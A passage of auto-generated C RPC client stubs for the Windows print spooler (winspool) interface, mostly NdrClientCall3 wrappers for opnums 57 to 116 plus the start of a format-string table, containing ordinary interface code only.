\n}\n\n\nvoid Opnum57NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  57,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nDWORD RpcReplyOpenPrinter( \n    /* [string][in] */ STRING_HANDLE pMachine,\n    /* [out] */ PRINTER_HANDLE *phPrinterNotify,\n    /* [in] */ DWORD dwPrinterRemote,\n    /* [in] */ DWORD dwType,\n    /* [range][in] */ DWORD cbBuffer,\n    /* [disable_consistency_check][size_is][unique][in] */ BYTE *pBuffer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  58,\n                  0,\n                  pMachine,\n                  phPrinterNotify,\n                  dwPrinterRemote,\n                  dwType,\n                  cbBuffer,\n                  pBuffer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcRouterReplyPrinter( \n    /* [in] */ PRINTER_HANDLE hNotify,\n    /* [in] */ DWORD fdwFlags,\n    /* [range][in] */ DWORD cbBuffer,\n    /* [disable_consistency_check][size_is][unique][in] */ BYTE *pBuffer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  59,\n                  0,\n                  hNotify,\n                  fdwFlags,\n                  cbBuffer,\n                  pBuffer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcReplyClosePrinter( \n    /* [out][in] */ PRINTER_HANDLE *phNotify)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  60,\n                  0,\n                  phNotify);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAddPortEx( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [in] */ PORT_CONTAINER *pPortContainer,\n    /* [in] */ PORT_VAR_CONTAINER *pPortVarContainer,\n    /* [string][in] */ wchar_t *pMonitorName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  61,\n                  0,\n                  pName,\n                  pPortContainer,\n                  pPortVarContainer,\n                  pMonitorName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcRemoteFindFirstPrinterChangeNotification( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD fdwFlags,\n    /* [in] */ DWORD fdwOptions,\n    /* [unique][string][in] */ wchar_t *pszLocalMachine,\n    /* [in] */ DWORD dwPrinterLocal,\n    /* [range][in] */ DWORD cbBuffer,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pBuffer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  62,\n                  0,\n                  hPrinter,\n                  fdwFlags,\n                  fdwOptions,\n                  pszLocalMachine,\n                  dwPrinterLocal,\n                  cbBuffer,\n                  pBuffer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum63NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  63,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum64NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  64,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nDWORD RpcRemoteFindFirstPrinterChangeNotificationEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD fdwFlags,\n    /* [in] */ DWORD fdwOptions,\n    /* [unique][string][in] */ wchar_t *pszLocalMachine,\n    /* [in] */ DWORD dwPrinterLocal,\n    /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  65,\n                  0,\n                  hPrinter,\n                  fdwFlags,\n                  fdwOptions,\n                  pszLocalMachine,\n                  dwPrinterLocal,\n                  pOptions);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcRouterReplyPrinterEx( \n    /* [in] */ PRINTER_HANDLE hNotify,\n    /* [in] */ DWORD dwColor,\n    /* [in] */ DWORD fdwFlags,\n    /* [out] */ DWORD *pdwResult,\n    /* [in] */ DWORD dwReplyType,\n    /* [in] */ long Reply)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  66,\n                  0,\n                  hNotify,\n                  dwColor,\n                  fdwFlags,\n                  pdwResult,\n                  dwReplyType,\n                  Reply);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcRouterRefreshPrinterChangeNotification( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD dwColor,\n    /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions,\n    /* [out] */ long *ppInfo)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  67,\n                  0,\n                  hPrinter,\n                  dwColor,\n                  pOptions,\n                  ppInfo);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum68NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  68,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nDWORD RpcOpenPrinterEx( \n    /* [unique][string][in] */ STRING_HANDLE pPrinterName,\n    /* [out] */ PRINTER_HANDLE *pHandle,\n    /* [unique][string][in] */ wchar_t *pDatatype,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,\n    /* [in] */ DWORD AccessRequired,\n    /* [in] */ SPLCLIENT_CONTAINER *pClientInfo)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  69,\n                  0,\n                  pPrinterName,\n                  pHandle,\n                  pDatatype,\n                  pDevModeContainer,\n                  AccessRequired,\n                  pClientInfo);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAddPrinterEx( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [in] */ PRINTER_CONTAINER *pPrinterContainer,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,\n    /* [in] */ SECURITY_CONTAINER *pSecurityContainer,\n    /* [in] */ SPLCLIENT_CONTAINER *pClientInfo,\n    /* [out] */ PRINTER_HANDLE *pHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  70,\n                  0,\n                  pName,\n                  pPrinterContainer,\n                  pDevModeContainer,\n                  pSecurityContainer,\n                  pClientInfo,\n                  pHandle);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcSetPort( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [unique][string][in] */ wchar_t *pPortName,\n    /* [in] */ PORT_CONTAINER *pPortContainer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  71,\n                  0,\n                  pName,\n                  pPortName,\n                  pPortContainer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcEnumPrinterData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD dwIndex,\n    /* [size_is][out] */ wchar_t *pValueName,\n    /* [in] */ DWORD cbValueName,\n    /* [out] */ DWORD *pcbValueName,\n    /* [out] */ DWORD *pType,\n    /* [size_is][out] */ BYTE *pData,\n    /* [in] */ DWORD cbData,\n    /* [out] */ DWORD *pcbData)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  72,\n                  0,\n                  hPrinter,\n                  dwIndex,\n                  pValueName,\n                  cbValueName,\n                  pcbValueName,\n                  pType,\n                  pData,\n                  cbData,\n                  pcbData);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcDeletePrinterData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pValueName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  73,\n                  0,\n                  hPrinter,\n                  pValueName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum74NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  74,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum75NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  75,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum76NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  76,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nDWORD RpcSetPrinterDataEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [string][in] */ const wchar_t *pValueName,\n    /* [in] */ DWORD Type,\n    /* [size_is][in] */ BYTE *pData,\n    /* [in] */ DWORD cbData)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  77,\n                  0,\n                  hPrinter,\n                  pKeyName,\n                  pValueName,\n                  Type,\n                  pData,\n                  cbData);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcGetPrinterDataEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [string][in] */ const wchar_t *pValueName,\n    /* [out] */ DWORD *pType,\n    /* [size_is][out] */ BYTE *pData,\n    /* [in] */ DWORD nSize,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  78,\n                  0,\n                  hPrinter,\n                  pKeyName,\n                  pValueName,\n                  pType,\n                  pData,\n                  nSize,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcEnumPrinterDataEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [size_is][out] */ BYTE *pEnumValues,\n    /* [in] */ DWORD cbEnumValues,\n    /* [out] */ DWORD *pcbEnumValues,\n    /* [out] */ DWORD *pnEnumValues)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  79,\n                  0,\n                  hPrinter,\n                  pKeyName,\n                  pEnumValues,\n                  cbEnumValues,\n                  pcbEnumValues,\n                  pnEnumValues);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcEnumPrinterKey( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [size_is][out] */ wchar_t *pSubkey,\n    /* [in] */ DWORD cbSubkey,\n    /* [out] */ DWORD *pcbSubkey)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  80,\n                  0,\n                  hPrinter,\n                  pKeyName,\n                  pSubkey,\n                  cbSubkey,\n                  pcbSubkey);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcDeletePrinterDataEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [string][in] */ const wchar_t *pValueName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  81,\n                  0,\n                  hPrinter,\n                  pKeyName,\n                  pValueName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcDeletePrinterKey( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  82,\n                  0,\n                  hPrinter,\n                  pKeyName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum83NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  83,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nDWORD RpcDeletePrinterDriverEx( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [string][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pDriverName,\n    /* [in] */ DWORD dwDeleteFlag,\n    /* [in] */ DWORD dwVersionNum)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  84,\n                  0,\n                  pName,\n                  pEnvironment,\n                  pDriverName,\n                  dwDeleteFlag,\n                  dwVersionNum);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAddPerMachineConnection( \n    /* [unique][string][in] */ STRING_HANDLE pServer,\n    /* [string][in] */ const wchar_t *pPrinterName,\n    /* [string][in] */ const wchar_t *pPrintServer,\n    /* [string][in] */ const wchar_t *pProvider)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  85,\n                  0,\n                  pServer,\n                  pPrinterName,\n                  pPrintServer,\n                  pProvider);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcDeletePerMachineConnection( \n    /* [unique][string][in] */ STRING_HANDLE pServer,\n    /* [string][in] */ const wchar_t *pPrinterName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  86,\n                  0,\n                  pServer,\n                  pPrinterName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcEnumPerMachineConnections( \n    /* [unique][string][in] */ STRING_HANDLE pServer,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pPrinterEnum,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  87,\n                  0,\n                  pServer,\n                  pPrinterEnum,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcXcvData( \n    /* [in] */ PRINTER_HANDLE hXcv,\n    /* [string][in] */ const wchar_t *pszDataName,\n    /* [size_is][in] */ BYTE *pInputData,\n    /* [in] */ DWORD cbInputData,\n    /* [size_is][out] */ BYTE *pOutputData,\n    /* [in] */ DWORD cbOutputData,\n    /* [out] */ DWORD *pcbOutputNeeded,\n    /* [out][in] */ DWORD *pdwStatus)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  88,\n                  0,\n                  hXcv,\n                  pszDataName,\n                  pInputData,\n                  cbInputData,\n                  pOutputData,\n                  cbOutputData,\n                  pcbOutputNeeded,\n                  pdwStatus);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAddPrinterDriverEx( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [in] */ DRIVER_CONTAINER *pDriverContainer,\n    /* [in] */ DWORD dwFileCopyFlags)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  89,\n                  0,\n                  pName,\n                  pDriverContainer,\n                  dwFileCopyFlags);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum90NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  90,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum91NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  91,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum92NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  92,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum93NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  93,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum94NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  94,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum95NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  95,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nDWORD RpcFlushPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [size_is][in] */ BYTE *pBuf,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcWritten,\n    /* [in] */ DWORD cSleep)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  96,\n                  0,\n                  hPrinter,\n                  pBuf,\n                  cbBuf,\n                  pcWritten,\n                  cSleep);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcSendRecvBidiData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [unique][string][in] */ const wchar_t *pAction,\n    /* [in] */ long pReqData,\n    /* [out] */ long *ppRespData)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  97,\n                  0,\n                  hPrinter,\n                  pAction,\n                  pReqData,\n                  ppRespData);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum98NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  98,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum99NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  99,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum100NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  100,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum101NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  101,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nHRESULT RpcGetCorePrinterDrivers( \n    /* [unique][string][in] */ STRING_HANDLE pszServer,\n    /* [string][in] */ const wchar_t *pszEnvironment,\n    /* [in] */ DWORD cchCoreDrivers,\n    /* [size_is][in] */ const wchar_t *pszzCoreDriverDependencies,\n    /* [in] */ DWORD cCorePrinterDrivers,\n    /* [out] */ long *pCorePrinterDrivers)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  102,\n                  0,\n                  pszServer,\n                  pszEnvironment,\n                  cchCoreDrivers,\n                  pszzCoreDriverDependencies,\n                  cCorePrinterDrivers,\n                  pCorePrinterDrivers);\n    return ( HRESULT  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum103NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  103,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nHRESULT RpcGetPrinterDriverPackagePath( \n    /* [unique][string][in] */ STRING_HANDLE pszServer,\n    /* [string][in] */ const wchar_t *pszEnvironment,\n    /* [unique][string][in] */ const wchar_t *pszLanguage,\n    /* [string][in] */ const wchar_t *pszPackageID,\n    /* [size_is][unique][out][in] */ wchar_t *pszDriverPackageCab,\n    /* [in] */ DWORD cchDriverPackageCab,\n    /* [out] */ LPDWORD pcchRequiredSize)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  104,\n                  0,\n                  pszServer,\n                  pszEnvironment,\n                  pszLanguage,\n                  pszPackageID,\n                  pszDriverPackageCab,\n                  cchDriverPackageCab,\n                  pcchRequiredSize);\n    return ( HRESULT  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum105NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  105,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum106NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  106,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum107NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  107,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum108NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  108,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum109NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  109,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nDWORD RpcGetJobNamedPropertyValue( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [string][in] */ const wchar_t *pszName,\n    /* [out] */ long *pValue)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  110,\n                  0,\n                  hPrinter,\n                  JobId,\n                  pszName,\n                  pValue);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcSetJobNamedProperty( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [in] */ long pProperty)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  111,\n                  0,\n                  hPrinter,\n                  JobId,\n                  pProperty);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcDeleteJobNamedProperty( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [string][in] */ const wchar_t *pszName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  112,\n                  0,\n                  hPrinter,\n                  JobId,\n                  pszName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcEnumJobNamedProperties( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [out] */ DWORD *pcProperties,\n    /* [out] */ long *ppProperties)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  113,\n                  0,\n                  hPrinter,\n                  JobId,\n                  pcProperties,\n                  ppProperties);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nlong Proc114( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][unique][in] */ wchar_t *arg_0)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  114,\n                  0,\n                  IDL_handle,\n                  arg_0);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n\nlong Proc115( \n    /* [context_handle][in] */ void *arg_0,\n    /* [out] */ unsigned __int3264 *arg_1)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  115,\n                  0,\n                  arg_0,\n                  arg_1);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n\nlong Proc116( \n    /* [context_handle][in] */ void *arg_0,\n    /* [in] */ long arg_1)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  116,\n                  0,\n                  arg_0,\n                  arg_1);\n    return ( long  )_RetVal.Simple;\n    \n}\n\nextern const GENERIC_BINDING_ROUTINE_PAIR BindingRoutines[ GENERIC_BINDING_TABLE_SIZE ];\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\nstatic const ms2Drprn_MIDL_PROC_FORMAT_STRING ms2Drprn__MIDL_ProcFormatString =\n    {\n        0,\n        {\n\n\t/* Procedure RpcEnumPrinters */\n\n\t\t\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/*  2 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/*  6 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  8 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 10 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 12 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 14 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 16 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 18 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 20 